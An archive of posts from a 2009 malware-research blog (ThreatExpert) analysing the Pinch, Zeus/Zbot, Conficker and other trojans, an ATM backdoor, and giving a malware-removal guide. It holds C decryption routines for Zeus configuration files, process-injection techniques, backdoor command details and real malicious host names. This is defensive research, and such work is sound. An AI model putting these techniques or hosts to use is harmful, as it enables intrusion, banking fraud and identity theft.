ThreatExpert Blog

The New Moon Trojan

noreply@blogger.com (Sergei Shevchenko) — Mon, 02 Nov 2009 03:52:00 +0000

While the sentence of the Pinch Trojan authors is about to expire within the following few months, the code of their Trojan is still being morphed by others into other nasty forms.

Apart from its known ability to gather system information and steal confidential information such as user names and passwords, the Pinch is now capable of delivering the stolen details to the remote website by utilizing a powerful news management system called "Cute News".

What's not cute in this case however is that the name of the website established by the remote attackers to collect stolen credentials is disguised under the name of the forecoming movie blockbuster New Moon.

The infection starts from an image displayed with the purpose of distracting user attention while the Trojan gets activated. While the user stares at the picture, the Trojan starts harvesting user details, passwords, email addresses and other contents from the configuration files of the installed email clients Eudora, Thunderbird, Outlook, The Bat!, FTP clients FileZilla, WS_FTP, CuteFTP, and several other applications.

The Trojan then collects system information that includes installed application names and their versions, serial numbers, user and computer names, the names of the running applications, user’s email account settings, and some other system details.

The collected information is then encoded into Base64 format and posted into the remote Cute News service hosted by the attackers at http://www.newmoon-movie.net.

The post takes place via HTTP protocol allowing attackers to use the power of the Cute News system to accept, collect and use the stolen information without setting up any databases as all information is stored in flat files.

Automated analysis is available here.

Time to Revisit Zeus Almighty

noreply@blogger.com (Sergei Shevchenko) — Thu, 17 Sep 2009 02:06:00 +0000

Zeus/Zbot is an annoying threat. Its persistence is explained with a fact that it's generated by a large army of attackers who use Zeus builder.

Those attackers who are high in the food chain pay thousands of dollars for the latest Zeus builder to make sure they distribute the most up-to-date undetectable bot builds. But many are still happy to use obsolete versions of the builder - these are available for free on various file sharing web sites.

One way or another, the wave if new Zeus/Zbot samples being distributed every day is alarming. It's kind of an "attack of the clones" when multiple modifications of the bot are being produced in-the-wild, packed and encrypted on top with all sorts of packers, including modified, hacked, or private packer builds. Before being released, every newly generated and protected bot is uploaded into popular multi-AV scanner services to make sure it is not detected by any antivirus vendor. Hence, quite a bit of a problem in terms of its distribution scale.

The nasty thing about Zeus/Zbot is that it evolves. The latest generation bot uses rootkit techniques to hide its presence on a customer machine. The bot uses covert methods of injecting additional fields into online Internet banking websites, asking users to answer questions that the authentic website would not ask. The collected details are then silently delivered to remote websites, and added into remote databases. The databases are then sold to other criminal elements down the chain who specialize in withdrawing the funds. The money laundering groups anonymously hire physical people to withdraw money from their personal accounts - in the criminal world these people are called "drops", and their accounts are called "drop accounts".

Without going too much into detail about the whole economy that operates behind Zeus/Zbot, let's rather concentrate on some of its technical aspects.

An important fact to mention is that the bot itself is like a framework with no "brains". It is merely a program that hooks itself into the system and hides there effectively. The logics that drives behaviour of the bot is contained in its configuration file.

The configuration file of Zeus/Zbot is like a definitions database for an antivirus product. Without it, it's pretty much useless. The logics contained in the configuration contains the list of banking institutions that the bot targets, URLs of the additional components that the bots relies on to download commands and updates, the lists of questions and the list of the fields that the bot injects into Internet banking websites to steal personal details/credentials, etc.

For instance, if the attacker only wanted to target local customers in Brazil, the bot's configuration file would enlist Brazilian banks and the list of questions/fields would be in Brazilian Portuguese language only. This way, the bot could transparently allow Internet banking transactions for non-Brazilian customers because the attacker would not be interested in those transactions, attacking domestic customers and their transactions only.

The configuration of Zeus/Zbot is never stored in open text. It is encrypted. Previous generation of Zeus/Zbot used a hard-coded encryption mechanism for its configuration. It was possible to reverse engineer the encryption algorithm and build a decryptor for any configuration file that belonged to any bot of the same generation.

The game has changed. The latest generation of Zeus/Zbot encrypts configuration file with a key that is unique for and is stored inside the bot executable for which this configuration file exists. This way, configuration file of one bot sample will not work for another bot sample, even if both samples are generated with the same builder. As the decryption key is stored inside the bot executable, the configuration cannot be decrypted without the executable. However, the executable that contains the key is also packed on top so that the key cannot easily be retrieved from it. Brute-forcing the key is not a viable option as the key is 256 bytes long.

In other words, it's practically "a riddle wrapped in a mystery inside an enigma, but perhaps there is a key", as Winston Churchill once said about the homeland of Zeus author(s).

In order to reveal the key for Zeus/Zbot configuration and study the decryption mechanism, a few things need to be done first.

Firstly, Zeus/Zbot could be run on a virtual machine under OllyDbg debugger and dumped with the OllyDump plugin installed:

The created dump can be loaded into IDA disassembler - the variables that store dynamically retrieved addresses of APIs should be renamed into the API names to ease the code reading, as shown below:

The analysed dump does not reveal the code that downloads and decrypts the configuration file. It is because the dump was created for the first stage of the execution workflow - when it drops other files, installs hooks and injects its own code into the system process services.exe.

In spite of the decryption key being present in the dump (as it becomes known later), revealing it now along with the decryption mechanism by analysing the dump statically is not easy as the code did not branch that execution path yet.

Ok, so what do we do now?

Let's run RootkitUnhooker to check the system integrity. According to its hook revealer, two installed IAT hooks can be seen:

According to ThreatExpert report, the bot creates the following files:

%System%\lowsec\local.ds

%System%\lowsec\user.ds

%System%\sdra64.exe

Because of the hooks, these files are not visible in Explorer, but trying to create a directory %System%\lowsec invokes the following message box:

The hook in the system process services.exe gives a good reason to dump it and analyse what's in its memory. Dumping main module is not enough as a typical injection mechanism allocates memory on the heap of the process and writes the code there. Thus, the process needs to be dumped entirely, all of its heap pages.

From all the dumped pages of the system process services.exe, two allocations belong to the bot:

These two allocations may span over the address range 0x00040000 - 0x00057000 or 0x00980000 - 0x00997000 after reboot, and can be joined together to be loaded into the disassembler again.

Once reloaded into disassembler, the variables that store dynamically retrieved addresses of APIs should be renamed again into the API names. As the names of the APIs are not visible in this dump anymore, the APIs can either be retrieved by looking up the virtual addresses contained in the function pointers, or by matching the disassembled code with the previously disassembled dump (obtained from OllyDbg/OllyDump) and assigning the same names as in the former dump to the same pointer variables, as shown in the screen grab below:

With the properly named API function pointers, it's much easier to read the code.

The bot contains a special section in its code that contains several important fields:

The URL fields in that section are encoded by using an older encryption mechanism that was used by older Zeus/Zbot generations. Here is a C equivalent of the decryptor - it's straightforward:

   BYTE b;

   for (int i = 0; i < iBufferSize; i++)
   {
      b = lpSourceBuffer[i];
      if ((i % 2) == 0)
      {
         b += 2 * i + 10;
      }
      else
      {
         b += 0xF9 - 2 * i;
      }
      lpDestinationBuffer[i] += b;
   }

One of the URLs points to an encrypted configuration file. The bot downloads that file and saves it into a hidden file %System%\lowsec\local.ds.

Next, the bot reads the 256-byte long encryption key stored in its section and uses it to decrypt the downloaded configuration file:

The decryption routine is not very easy to follow during static analysis. One way of building a configuration file decryptor is to blindly rip the assembler code out of the bot source, only taking care of interfacing it properly - that is passing it the same parameters. However, in order to understand the code and build its C equivalent, the code is better to be traced.

But here comes the question - how to trace the code that is running inside the services.exe process?

An easy way of doing that so it attach a debugger of your choice to the system process services.exe, break its execution, point EIP (the instruction pointer) into the first instruction of the decryption routine, patch memory contents to instruct the routine to unpack a file that is different from %System%\lowsec\local.ds (before you're doing that, make sure the configuration file is downloaded from the earlier discovered URL and is saved under a different filename), suspend all other threads of services.exe process, and debug step-by-step its decryption routine.

The image below shows how the filename %System%\lowsec\local.ds is patched with c:\c

Stepping through the decryption routine reveals how the configuration file is fully decrypted:

Decryption routine itself is represented below:

During decryption, the values of its 256-byte key are constantly shuffled. The C equivalent of this routine is:

   byCounter = 0;
   byMask = 0;
   iSectionOffset = 0x2a;

   for (int i = 0; i < iConfigSize; i++)
   {
      byCounter++;
      byMask += byResource[iSectionStart + iSectionOffset + byCounter];
      byTemp = byResource[iSectionStart + iSectionOffset + byMask];
      byResource[iSectionStart + iSectionOffset + byMask] = byResource[iSectionStart + iSectionOffset + byCounter];
      byResource[iSectionStart + iSectionOffset + byCounter] = byTemp;
      byTemp += byResource[iSectionStart + iSectionOffset + byMask];
      byConfig[i] ^= byResource[iSectionStart + iSectionOffset + byTemp];
   }

Once the configuration file is decrypted, its internal structure reveals that it consists of data blocks. Every data block has a header that describes the length of the block, its type, and whether it's compressed or not.

As shown in the image below, some fields' meaning is not clear. But it seems that the 5th byte of the data block indicates if the data it contains is encrypted or not. Two DWORD values that follow are showing the size of compressed and uncompressed data. Next, the block contains the data itself.

For example, the first block has the size values equal 4 bytes, and the data block itself is 0B 07 02 01. Next two blocks are not compressed - the data size for both blocks is 0x28 bytes. The last block contains a flag that shows it's compressed. The size of compressed data is 0x85 bytes; the size of uncompressed data is 0xA1 bytes, with the 0x85 bytes of data followed.

Analysis of the decompression routine reveals that it's unrv2b algorithm. The decompression source code is available here.

By knowing the decryption/decompression mechanism and the data format, it is possible now to build a tool that will inspect full memory contents of the process services.exe, locate a page which contains Zeus/Zbot code in it, then locate a section in it with the 256-byte key, retrieve that key and use it to decrypt the provided configuration file. As the address of the section within the bot page is not known in advance, it can still easily be detected by probing the size of the structure, probing the bytes within the 256-byte encryption key, and trying to decode the URLs, knowing their length (from the structure) and the key-less encoding method (from the older Zeus generations).

Unfortunately, such tool could only be able to decrypt configuration file on a machine infected with Zeus/Zbot. Thus, it must be run on the same virtual machine that is infected with the bot.

The tool is available for download here.

One positive side-effect of the tool is that even if the configuration file is not available, the tool will still reveal if the machine is infected with Zbot.

The limitation of the tool is that it won't be able to decrypt a configuration file for one bot if the virtual machine is infected with another bot, even if both bots are produced with the same Zeus builder. It’s because every bot uses a unique encryption key that will only decrypt configuration file created for the very same bot.

Running the Zeus configuration decryptor over several Zeus/Zbot samples submitted in the last few days reveals quite interesting characteristics. The full list of its capabilities is too big to be presented here, so only a few questions/additional fields that Zbot injects are highlighted below:

Due to security measures, please provide the answers to all the security questions listed below:

As an additional safeguard, we ask that you provide the last eight digits of your ATM or Check Card number

Please enter your Credit Card Number linked to your account, security code (cvv) and expiration date

For your Identity verification and Fraud prevention please send us answers that you need to answer when you log in to your account

Our behavioral monitoring software has detected a variation in your use pattern. For your protection, we ask that you verify your identity by answering your personal questions below. Once verified, you will be directed to the page.

Authorization Required. In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online. Please enter the information below to Sign on:

Please enter your Personal Access Code (PAC):

Your first school

Your mother's maiden name

Your place of birth

Please enter all digits of your PIN

What is your favourite meal or restaurant?

The name of a memorable place to you?

Your favourite film of all time?

Your favourite book of all time?

Your favourite teacher or subject?

Your favourite TV star or show?

Please enter a valid Mother's Maiden Name

Please enter a valid Driver's License Number

Please enter a valid Date of Birth

Please enter a valid Social Security Number

Please enter a valid Home Telephone Number

Your favorite TV show?

Your favorite flower?

Your favorite leisure time activity?

Your favorite type of music?

Your favorite professional football team?

Your favorite professional baseball team?

The color of your first car?

Your favorite holiday?

Your favorite place to vacation?

In which month were your parents married?

What is the first letter of the name of your high school?

What is the first letter of the name of your pet?

In which month was your first child born?

What was the last two digits of the year of your high school graduation?

Please enter valid ATM/Debit Card # (CIN)

Please enter valid PIN

Please enter valid Last 4 Digits of Social Security or Tax ID #

The list goes on, but you get an idea of what an identity theft weapon it is.

Update: Thanks to Peter Kosinar and Thorsten Holz for identifying the encryption algorithm above as RC4.

Hot Topics Lead To Malware

noreply@blogger.com (Sergei Shevchenko) — Tue, 21 Jul 2009 10:51:00 +0000

Google Trends seems to be a nice reference tool for the attackers to know which hot topics currently generate the maximum of public interest - a compass that leads them to the victims.

Here is another example of how a randomly picked up hot topic (today it was "Chris Brown Apology Video") predictably leads to rogue antispyware installations.

The cyber crooks behind this malware seem to be catching fish on a naked hook; until the fish gets smarter, they'll probably stick to these cheap tricks for awhile.

Windows 7 Wrappers

noreply@blogger.com (Sergei Shevchenko) — Mon, 15 Jun 2009 01:06:00 +0000

Following reports about pirated Trojan-Infested Windows 7 Builds, it is quite interesting to see what wrappers are used at the "crack stores" to lure as many people as possible. Some of these wrappers look pretty hilarious:

Cashing-up on Twitter

noreply@blogger.com (Sergei Shevchenko) — Wed, 27 May 2009 03:00:00 +0000

An interesting exploitation of the popular micro-blogging service Twitter has been reported a few hours ago.

A bogus website - TwitterCut.com - has been set up to collect users' login details for Twitter. Once the website receives the login details from Twitter users, it apparently uses these details to authenticate them with Twitter and post messages (tweets) under the credentials of these users.

The message it posts contains the link to TwitterCut.com and reads: "OMG I just got over 1000 followers today from http://twittercut.com". Once this message is posted into Twitter under the credentials of the compromised user, all the followers of that user will automatically receive that tweet.

If the followers click the link contained in the tweet they receive, they'll be redirected to TwitterCut.com where they'll be suggested to enter their own login credentials, which in turn will generate more tweets. With every new user tricked, the tweet is submitted to more and more followers so that it expands exponentially in a similar way to a "chain letter" scam or a typical worm infection.

On top of that, every Twitter user who enters her login details at TwitterCut.com will also be unwillingly redirected into the websites serving adware, thus generating the revenue for the author of this worm with every unique visit. The advertising context can potentially be replaced with the sites serving malware, so it's clearly a security issue.

The scheme of this scam is illustrated below:

The replication seem to have started from a Twitter user JordanEmbry. The same person appear to have registered TwitterCut.com. Twitter has deactivated JordanEmbry account, but Google cache still reveals the profile and some recent tweets.

The biography field reads: "--!*FOLLOW ME*!-- as soon as I reach 20,000 followers Im opening a site you will love!". The profile shows that JordanEmbry had 250 Twitter users who have agreed to become the followers - all of them must have received the first-generation tweet to start up its replication.

Once these followers have received the first tweet and followed the bogus website to enter their details, their own followers should have received the same tweet, then the followers of the followers, and so on.

TwitterCut.com hosts a small script that traces the visits to the website. At this time of writing the online statistics shows that during the 4 days it exists TwitterCut.com has already attracted over 13,000 visits in the last 2 days.

If you did receive the scam tweet in your personal Twitter profile, it means that someone from the Twitter users who you follow has been tricked into entering the login details at TwitterCut.com. All these users can be seen by finding the scam tweet that was posted under their credentials.

The affected users are advised to change their Twitter account password immediately. Otherwise, the collected credentials can potentially be used many times again to send more impersonated tweets with the links to websites with more dangerous contents.

Pwned UxV

noreply@blogger.com (Sergei Shevchenko) — Thu, 07 May 2009 08:17:00 +0000

Peter Singer, a leading US defense analyst, who headed Barack Obama's defense policy team during last year's presidential campaign, believes that the world is on the brink of a "robotics revolution" in military combat that will have profound social, psychological, political and ethical effects.

The US had invaded Iraq in 2003 with just over a handful of unmanned aerial drones, and no unmanned ground vehicles, he said. Today it used more than 7,000 drones in the air, and more than 12,000 unmanned ground vehicles capable of combat.

Their use in warfare was a massive development in human history, he told the Lowy Institute in Sydney, via videolink from Washington.

The use of robots in the war zone is not spontaneous – it is in fact mandated by the US Public Law 106-398 which sets a goal of one-third of all ground combat vehicles to be unmanned by 2015.

Last year, the first transformer-like armed robot MAARS (Modular Advanced Armed Robotic System) was set to be deployed to fire in combat:

"It can be changed from one mission setup to another in short order," says Charles Dean, the Foster-Miller company's senior program manager for advanced robots. Operators can alter the machine's treads, drive system, weaponry and even its dimensions.

"Government has been working with us over the last 18 months to develop and provide an innovative and evolutionary approach to combat situations that address the battlefield of the future," said Dr. William Ribich, President of the Technology Solutions Group, QinetiQ North America.

Security Aspects

Let's have a look at the software architecture that drives MAARS robot.

Built by Applied Perception, part of the QinetiQ North America Technology Solutions Group, the software called Soldier Universal Robot Controller (SURC) enables operators to simultaneously task, monitor, and teleoperate multiple unmanned robots from a single control station.

Its User Interface can apparently be integrated into a handheld control unit, or as user application running on a notebook, e.g. under Ubuntu Linux, as seen on the image below:

SURC system consists of several elements that are depicted in the following scheme:

Its core modules are responsible for keeping track of the robots, path and mission planning, and storing data about the existing objects.

An interesting aspect of this architecture is that SURC plugs into JAUS (spelled as "jaws"), Joint Architecture for Unmanned Ground Systems. SURC's transport component is responsible for interfacing SURC with JAUS.

JAUS is an open message-passing architecture that unifies multiple computing nodes and provides the means of their inter-communication. It defines the hierarchy structure of the elements (subsystems, nodes, components), defines the standard for the message that is passed from one component to another, and defines other requirements such as mission isolation, platform, hardware, and operator use independence (just like the Web).

JAUS dictates the use of UDP (User Datagram Protocol) as a communications protocol between the nodes. The messages are packed into JAUS message structure and are handled with the node managers according to the commands specified in these messages. The traffic is forwarded via the port 3794, the "JAUS Robots" port.

As any other software architecture, it will very likely be a matter of time until JAUS is probed for an unauthorized access. The rule of thumb here is the bigger the target and its importance, the more lucrative it is and thus, the larger incentive and motivation will be there to exploit it. It won't be a question of "how", it will be a question of "when".

Let's try to imagine for a moment in science fiction terms what attack vectors against JAUS are possible, and what an unauthorized access to it could result in.

In theory, an interception of traffic between the transport component of SURC and the JAUS platform that connects it with the in-field robots' node managers, can be exploited.

Firstly, a UDP flood attack may render the whole fleet of robots useless.

Secondly, an injection of malcrafted packets into the link between SURC and JAUS may potentially change the mission goals, starting from the civil casualties increase, and finishing with hijacking the whole fleet of UxV and then re-recruiting it against the original command centre. This could potentially be exploitable due to the platform, hardware, and operator use independence declared by JAUS open architecture standard.

Thirdly, JAUS architecture could also potentially be attacked with the malformed exploits transmitted via port 3794, either with the purpose of gaining full administrative control over the node managers or simply causing denial-of-service by crashing their software.

Of course, these attacks are very unrealistic right now. So the reader should consider these insinuations a pure fantasy. But if the reader thinks for a moment of how many platforms were supposed to be secure by design, but could still easily be exploited; if the velocity of the progress and the scale of attractiveness for the attackers are all accounted, then it might be easier to imagine how in a few years time all robotic machines would have to be patched every Tuesday:

The Effect of Credit Crunch on Backdoors

noreply@blogger.com (Sergei Shevchenko) — Wed, 18 Mar 2009 07:21:00 +0000

In the scope of the current economic situation, it's not uncommon to hear the news how another bank is downsizing its departments and outsourcing its software development.

The big question is if this practice increases any risk of having the Time Bombs, hard-coded login names and passwords, or simple backdoors concealed in the software by its own developers.

An interesting piece of software spotted by Vanja Svajcer from Sophos proves it does.

While it is not entirely clear (no evidence) how this software penetrated on an ATM, an educational guess is that it was implanted by someone who knew the architecture and had direct physical access to the Diebold ATM hardware and software. A privileged insider, who either wanted extra security in the times of hardship by having unlimited access to cash, or maybe planned to rob the banks in one large-scale distributed attack.

Anyway, the backdoor heavily conceals its presence under ATM. Why? Most likely, in order to stay undetected during the audit checks.

The backdoor consists of the dropper and the dropped component.

If the ATM's filesystem is NTFS, the dropper will create 2 alternative data streams:

%windir%\greenstone.bmp:redstone.bmp
%windir%\greenstone.bmp:bluestone.bmp

Otherwise, it will create 2 files:

%windir%\redstone.bmp
%windir%\bluestone.bmp

These ADS/files are created from these copies of the files, if they are found in the system:

%windir%\trl2
%windir%\kl

The dropper then adjusts its own privilege to the level of SeDebugPrivilege and takes 50 attempts to terminate the process lsass.exe.

The backdoor installs itself the following way:

retrieves the fully qualified path to the binary file of the system service "LogWriter"

stops system service "LogWriter"

appends to that name ":", followed by pwrstr.dll

drops its own resource PACKAGEINFO into the alternative data stream [LogWriter_binary_filename]:pwrstr.dll

starts system service "LogWriter" – this will launch the dropped DLL from the newly specified ADS name

Finally, the dropper will inject and run a remote thread in the process explorer.exe, a thread that enumerates and deletes all Windows Prefetch files.

Once activates, the dropped DLL will injects 2 threads: one will be injected into the process mu.exe, another one - into the process SpiService.exe, a main service ("Diebold XFS Service") of the proprietary software that runs on Diebold ATMs. These threads will be responsible for inter-process communication with the Diebold driver via the named pipe "\\.\pipe\lsndbd".

Another thread will start repeatedly calling an API SQReceiveFromServer(), exported by sharedq.dll, once per second. The contents of the buffer filled with this function will then be parsed for the presence of the tags "TCS," and "HST,".

If any values specified in those tags are split with the delimiter ";", the thread will extract and log them into the ADS %windir%\greenstone.bmp:redstone.bmp on NTFS system, or file %windir%\redstone.bmp on non-NTFS system.

If the tag "TCS," means "transactions" and "HST," means "history", the backdoor may be collecting the details of user transactions in the aforementioned file.

In case the transaction parsing process detects particular contents, presumably unique to the attacker of the ATM, the backdoor will enter GUI mode that will grant an attacker full access to the backdoor. In this case, it will display on ATM screen a dialog box with the caption "Agent" and a prompt "Enter command:", and instruct the Diebold driver to activate the keypad and read the input via a series of commands issued with DbdDevExecute() API, exported by DbdDevAPI.dll. For example, the driver will receive commands: EPP4_ENCODE_DECODE, EPP4_ENABLE_KEYBOARD_READ.

An attacker then provides one out of 10 possible commands by entering a number on an ATM keypad. Every command causes the backdoor to take specific action.

For example, command "2" will instruct the backdoor to read the version of the installed Diebold software from the registry keys:

HKLM\SOFTWARE\Diebold\Agilis 91x Core
HKLM\SOFTWARE\Diebold\Agilis 91x

Then, this command will read the contents of the temporary files/ADS redstone.bmp and bluestone.bmp, and parse the transaction details from these logs. Finally, it will show a message box with the collected statistics for the attacker in the following form:

Agilis [version number]
Agent [version number]
Transactions [number]
Cards [number]
KEYs [number]

Command "6" will instruct the backdoor to recover the "Key A" and "Key B" from the file/ADS redstone.bmp. It will then print them on a new receipt – the receipt will then be ejected.

Command "8" allows an attacker to display all internal counters in a newly created dialog box (this may potentially reveal the amount of cash currently stored in ATM).

Command "7" will generate a random number and then calculate a password that is unique for that random number.
Then, it will display an "Autorization" dialog box (orthography preserved):

Request Code: [random number]
Enter Responce:

It allows 3 attempts to be undertaken to enter correct password.

If the provided password is correct, it will display another dialog box with a caption "Enter Command" (orthography preserved):

1..4 - dispense cassete
9 - Uninstall
0 - Exit

In case of the choice 1-4, it will release commands AFD_DISPENCE, AFD_PRESENT, and AFD_RESTORE to the Diebold driver to instruct the Advanced Function Dispenser (AFD) module to dispense an ATM cassette with cash.

With this level of sophistication, considering the trojan horse in its classic form is inside the ATM, even the following paranoid technique will unlikely make any difference:

Someone Needs Help

noreply@blogger.com (Sergei Shevchenko) — Wed, 11 Mar 2009 19:20:00 +0000

Submission to ThreatExpert.com from SK, Sri Lanka:

Hey you!!!
You can't stop me. I'm the author of "angel.exe".I am going to upload my 100 Viruses to the internet from my web site.Will Soon.
You and any anti viruses can't stop my growing!!!!!

From Wikipedia: "An inferiority complex is a feeling that one is inferior to others in some way. Such feelings can arise from an imagined or actual inferiority in the afflicted person. It is often subconscious, and is thought to drive afflicted individuals to overcompensate, resulting either in spectacular achievement or extreme schizotypal behavior, or both."

New Variant Of Ackantta

noreply@blogger.com (Sergei Shevchenko) — Mon, 02 Mar 2009 03:33:00 +0000

Following the previous variant of Ackantta mass-mailing worm, a new modification (B) is making the rounds now.

This, time, it distributes Vundo trojan in its payload.

Automated analysis is available here.

Politically Motivated Trojan

noreply@blogger.com (Sergei Shevchenko) — Fri, 20 Feb 2009 02:04:00 +0000

In a recently reported security incident, one political organization was involved into a targeted attack. The Word document they received had either of the following names: "Urgent Appeal to Secretary Hillary Clinton.doc" or "Days with ITSN Tibet in My Eyes.doc".

Putting aside any political motivations behind these attacks, and looking at the embedded trojan from the technical point of view, a pretty interesting piece of code is revealed.

Being an executable embedded into Microsoft Word document, the trojan itself is a CDialog-based VC++ MFC application. When it starts, it checks if there is a driver installed in the system called tmpreflt.sys. This driver appears to belong to OfficeScan software product from Trend Micro. The trojan tweaks its logics depending on the presence of tmpreflt.sys and then installs a new driver resdr32.sys that it reads and decrypts from its own resource section. This driver has device name FILEGUARDDOS and it is presumably designed for self-protection purpose.

The payload code of the trojan is encrypted in its resource section. After it decrypts the code, it starts its own executable, allocates memory in the address space of its "cloned" process, writes there the newly decrypted payload code, and spawns an execution thread in it.

Once the second instance of the trojan is started and the injected payload code is activated, it will contact its command-and-control server mmwbzhij.meibu.com on ports 8585 and 8686.

The communication traffic is encrypted. The commands issued by the C&C server will instruct the trojan to download and run additional components. For example, the newly downloaded components can be created under the following filenames:

C:\loader.exe

C:\ml.exe

%System%\EventSystem.dll

The trojan constantly submits POST requests to the remote host with the following format:

http://mmwbzhij.meibu.com:8686/[random characters].[random file extension]

where [random characters] string may look similar to:

qRXycRXuwJ11749

PqJNBkcPDm18630

ZPDPyZkZcV23661

and [random file extension] can be any of the following: rm, mov, mp3, pdf.

One such POST request is shown below:

The purpose of these requests is not clear - the random characters contained in the POST request can potentially be used by the server to determine the encryption key that is different for every communication round (a hopping key).

To run every time Windows starts, the trojan drops its copy under a variable name, such as %System%\winpp.exe or %System%\instoll.exe and then registers its full path filename in the value:

"StubPath"

of the registry key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{345A814E-7F4F-1BCD-0104-050302030401}

Fully automated reports can be found here and here.

Trojan GetCodec/Brisv Comes Back Again

noreply@blogger.com (Sergei Shevchenko) — Thu, 05 Feb 2009 00:44:00 +0000

A few months old trojan Brisv that infects multimedia files has struck again with no apparent reason, as reported by our customers.

The trojan enumerates local and mapped network drives looking for the files with the extensions ASF, WMV, WMA, MP2, MP3. It will then infect the located files by injecting malicious script that instructs the media player to pop up default browser window and navigate it to the malicious web site isvbr.net, which in turn, redirects to a different URL: www.play-error.com:

When the media player plays back an infected file (on a test system, after about 10 seconds of the playback), the browser window pops up and the player stops playing the file, as shown below:

The web site the user is redirected to can be variable and may host any kind of malware. At this time of writing, isvbr.net redirects to www.play-error.com:

The traffic generated during the playback of the infected multimedia file is shown below:

To see the list of system changes, please check ThreatExpert report here.

Should you need to quickly scan your system and/or desinfect the infected multimedia files, please run the fixtool from this location.

Conficker/Downadup: Memory Injection Model

noreply@blogger.com (Sergei Shevchenko) — Thu, 29 Jan 2009 01:50:00 +0000

The worm Conficker/Downadup does not need a special introduction as it was pretty well described in various write-ups in great detail.

Nevertheless, considering it employs a set of unique techniques, a deeper analysis is needed.

One of such techniques is its memory injection model that will be discussed in this post. Note: as the analysis continues, more posts might be expected.

Conficker runs as a DLL file and unpacks itself on the heap of the host executable process, such as rundll32.exe. In order to bypass firewalls (and possibly HIPS too), its author has certainly thought of a proper memory injection model.

The worm calls its memory injection function with the following prototype:

InjectIntoProcess (DWORD TargetProcessID, LPSTR ConfickerDllFilename)

The function is called for the processes explorer.exe, svchost.exe, and services.exe.

For start, the worm will open the target process, allocate a small memory region in its virtual address space, and write in it the full path filename of its own DLL.

Next, it will obtain the address of LoadLibraryA() API imported from kernel32.dll.

The worm will then make an interesting trick: it will call CreateRemoteThread() API by passing it the handle of the targeted process. The thread start address it specifies is the virtual address of LoadLibraryA() API (imported from kernel32.dll). The specified thread parameter is the address of the allocated buffer within the process where the full path filename of the Conficker DLL has just been written.

This will force the target process to spawn a thread that will load the worm DLL file – pretty neat, considering there is no executable code physically injected.

But that’s not all.

Following this trick, Conficker will enumerate all threads running inside the targeted process, and for every thread it will add to its queue an Asynchronous Procedure Call (APC).

For this purpose it uses an undocumented API NtQueueApcThread() which has the following prototype:

NtQueueApcThread(HANDLE hThreadHandle, PIO_APC_ROUTINE lpApcRoutine, PVOID pApcRoutineContext, ...),

where hThreadHandle is a handle of the enumerated thread that receives an APC call into its queue, lpApcRoutine is the address of the entry point to the user APC routine, and pApcRoutineContext is the user defined parameter for APC routine.

Guess what address it uses for the user APC routine? That’s right, it’s the address of the API LoadLibraryExA() imported from kernel32.dll, and the parameter for this call is the name of the Conficker DLL, previously saved inside the process’s address space.

With the APC queued for the target process threads, as soon those threads are signaled, the routine that loads Conficker DLL will be invoked. Hence, the remote injection.

Removing Persistent Malware

noreply@blogger.com (Sergei Shevchenko) — Thu, 22 Jan 2009 01:43:00 +0000

This blog post is not for the technical guru!

While it's not for mums and dads either, its main purpose is to explain to an average user how to manually remove persistent malware that cannot be easily deleted otherwise.

A reader who starts shivering from hearing the words "Linux" or "Ubuntu" could find this post useful too – not only to be able to remove persistent malware, but maybe to get closer to Linux and start using it for Internet banking, as a safer alternative to Windows and Internet Explorer (arguably, of course).

Malware removal is a separate big discussion subject. There are many known methods that involve antirootkits, dedicated fixtools, kernel-mode drivers employed by antivirus products that allow to delete, wipe-out, or simply damage locked malware files.

Nevertheless, we keep receiving an overwhelming number of requests coming from various customers asking for help in deleting locked malicious files. This post started as an email template that we utilized in our response, but given the fact so many people ask the same question again, it sounds reasonable to post this information here for a better public exposure.

Let's say, a user accidently clicks an attachment and then realizes something wrong has just happened. The attachment file gets submitted to ThreatExpert. The returned report suggests that an additional malicious file might have been created – the user locates that file and attempts to delete it, but Windows denies access to such file as it's loaded in memory.

Quite often, all it takes is to kill a process to unlock a file, or reboot in safe mode and delete a file that is known to be malicious, or register such file for a delayed removal. But the reality is that in many cases it's not that simple. Malware can be loaded into the address space of a legitimate system process so that termination of such process will lead to system crash. In a different scenario, a file can be protected by a kernel mode driver, and that driver is protected by another watchdog thread running inside a legitimate process. The possibilities for malware authors to protect their files are endless. AV industry makes its best to break such protection, but in the end it's still a cat-and-mouse game.

A very simple method to delete malicious files is to boot from a different partition that is known to be clear of malware, and then delete malicious files that reside on an affected partition. This way, the files that reside on an affected partition are not obstructed from being seen or manipulated (e.g. any possible rootkits will be inactive at this stage).

There is nothing new in this method, and there are multiple ways to achieve this. But if you ever experienced locked malware file problem before, it might help to have a Linux start-up CD (LiveCD) in the pocket of your backpack, ready to fix a problem any time you need it.

Scenario

Let's say, a malicious file called malicious_file.exe resides in the %system% directory. This file cannot be deleted for some (unknown) reason.

Disclaimer

Please note that the following description does not cover scenarios when a legitimate file is reported to be malicious due to a false positive, or because a firewall/HIPS system reports a file as suspicious, or because the user thinks it's malicious; it only explains how to delete a truly malicious file, that is a file with a code that performs malicious actions.

If you're unsure about the purpose of the file that you intend to delete, please do not attempt this method. Removal of a system file or a file of a legitimate 3rd party software may lead to corruption of your operating system, any other software or your personal files.

The author of this post takes no responsibility for any data corruption that may happen should this method be chosen and tried out. If you decide to follow it anyway, please do so on your own risk!

Before you attempt this method, please back up your files and documents!

Step 1: Get Ubuntu.

For start, you'll need to visit Ubuntu website to download the latest version of this Linux distributive.

Once you download the ISO image, please follow these instructions on how to burn a boot-up CD or DVD.

Turn off you computer properly from Windows. Disconnect any USB devices you may have plugged in.

Boot your computer from the LiveCD. If you can't boot, please read detailed explanation on how to fix this problem here.

When you start the boot-up process, make your language choice:

then, choose menu option "Try Ubuntu without any change to your computer", as shown below:

Ubuntu will start booting up from your LiveCD. When it's done, you'll see the following screen:

Step 2: Locating and Mounting Affected Windows Partition

Next thing you'll have to do is to find your Windows partition that contains the malicious file(s). In our scenario, it's a file %system%/malicious_file.exe.

Click Menu item "Places", then "Computer" as shown below:

The File Browser will fire up and show a panel similar to the one below:

Your Windows partition will most likely be depicted with an icon of a hard disk drive titled as "[X] Gb Media", where X is the size of your partition in Gb. Most likely, the icon will be a bit different from the "Filesystem" one – it will not have a little green indicator in it because it is not mounted at this point yet.

In case of several partitions, there will be several "[X] Gb Media" icons; you will need to identify which one has Windows installed on it – it's not necessarily the first displayed one.

Right-click your mouse over the hard disk icon and select the "Mount Volume" option – its icon should get a green indicator on.

Step 3: Locate and Rename/Delete Malicious File(s)

